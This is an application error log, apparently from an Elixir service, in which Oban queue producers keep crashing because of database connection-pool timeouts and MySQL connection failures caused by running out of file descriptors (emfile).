    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:19:10.237579Z], limit: 10, uuid: "28af9850-dd95-4f03-a5eb-f4dc95704c31", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:10.237586Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.4421>, refresh_timer: #Reference<0.2525715032.1068498948.4392>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:19:13.349048Z], limit: 50, uuid: "87f8fd7b-3f85-42ad-8a2b-96133109743a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:13.349055Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.16317>, refresh_timer: #Reference<0.2525715032.1099431938.16297>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:25.908000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:26.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:27.753000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2006ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:19:15.244524Z], limit: 3, uuid: "699fe833-05da-434b-8c4e-a0f42495fce6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:15.244530Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.4560>, refresh_timer: #Reference<0.2525715032.1121189889.115578>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:28.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:19:15.245596Z], limit: 5, uuid: "807aaa97-d2ce-4fa8-8d0e-1633dfd72dcd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:15.245601Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.16388>, refresh_timer: #Reference<0.2525715032.1099431938.16371>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:19:15.241840Z], limit: 20, uuid: "dab043fd-4795-48da-ab55-6890d6b8476c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:15.241848Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.4558>, refresh_timer: #Reference<0.2525715032.1068498948.4517>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:19:15.248233Z], limit: 5, uuid: "ff68a234-6a9e-4396-bf67-f89c282d9a7c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:15.248239Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.4559>, refresh_timer: #Reference<0.2525715032.1068498948.4545>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:28.932000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:29.411000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:30.664000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:31.005000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:31.648000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:35.923000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:36.026000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:19:24.237757Z], limit: 10, uuid: "dd826e1a-1d12-43a1-bb3c-df65405f2429", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:24.237763Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.4791>, refresh_timer: #Reference<0.2525715032.1068498948.4775>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:36.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:19:24.237760Z], limit: 50, uuid: "2859c24f-2cd1-4d54-966a-9aa68fc7f4c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:24.237765Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.115631>, refresh_timer: #Reference<0.2525715032.1121189889.115625>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:37.587000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:39.803000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:19:28.240259Z], limit: 5, uuid: "a5f17519-c9ad-4e31-857f-9ba0e4971ac9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:28.240265Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.4981>, refresh_timer: #Reference<0.2525715032.1077411843.247766>, dispatch_cooldown: 5, running: %{}}
